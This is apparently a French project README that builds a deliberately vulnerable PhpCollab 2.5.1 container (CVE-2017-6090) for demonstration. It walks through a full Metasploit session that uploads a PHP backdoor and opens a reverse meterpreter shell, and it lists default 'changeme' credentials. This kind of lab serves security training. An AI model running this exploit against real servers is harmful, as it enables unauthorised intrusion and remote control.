
PhpCollab conteneurisé exploitable
Ce projet construit un conteneur exécutant PhpCollab 2.5.1, contenant une vulnérabilité d'exécution de code à distance détaillée dans CVE-2017-6090. De plus, il y a un fichier docker-compose pour démarrer ce conteneur et mysql afin de faire la démonstration, et les instructions d'exploitation sont ci-dessous.
docker build -t containername . ou utilisez l'image jlkinsel/exploit-cve-2017-6090
Le plus simple pour faire tourner tout cela est d'utiliser le fichier docker-compose.yml ci-joint. Si je m'ennuie à un moment donné - ou si des gens montrent de l'intérêt - je créerai un déploiement kubernetes ou un chart helm.
Donc, pour lancer les choses :
docker-compose up
Jusqu'ici, tout va bien ! Maintenant, phpcollab doit être configuré pour utiliser la base de données, et recevoir un mot de passe administrateur par défaut. J'ai (brièvement) essayé d'automatiser cela, mais... bon... vous avez l'air de savoir utiliser un navigateur...
Enfin, vous pouvez vous connecter et explorer, mais ce n'est pas nécessaire pour l'exploitation.
Remarquez que cette composition docker ne fait rien de sophistiqué pour le stockage. Si vous souhaitez conserver la base de données mysql, vous devrez ajouter une définition de volume à la définition du service mysql dans docker-compose.yml. Voir des exemples sur la page mariadb docker hub
Tout d'abord - suivez Exécution et configuration ci-dessus pour faire fonctionner l'application.
Je n'ai pas ajouté d'exploit dans ce projet, parce que, bon, Metasploit.
Nouveau sur MSF ? Voici un aperçu rapide de l'exploitation du conteneur que nous venons de démarrer :
docker run -ti --network exploitcve20176090_default remnux/metasploit
Cela prend quelques minutes pour tout démarrer. La page docker hub remnux/metasploit explique comment utiliser des volumes pour que cela ne prenne pas autant de temps à l'avenir. Mais nous y voilà maintenant !
Une fois que vous obtenez une invite de shell, continuons :
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
À ce stade, vous êtes dedans, et les jeux peuvent commencer.
Si le nom de ce répertoire est autre que « exploit-CVE-2017-6090 », vous devrez modifier la commande --network ci-dessus.
Aussi - oui, nous avons défini le port distant sur 80 dans msfconsole, même s'il est 8088 à l'extérieur. Le conteneur metasploit est sur le même réseau que le conteneur phpcollab.
| Champ | valeur |
|---|
| Serveur de base de données | mysql |
| Identifiant de base de données | phpcollab |
| Mot de passe de base de données | changeme |
| Nom de base de données | phpcollab |
| Notifications | False |
| Mot de passe administrateur | changeme (ou ce que vous voulez |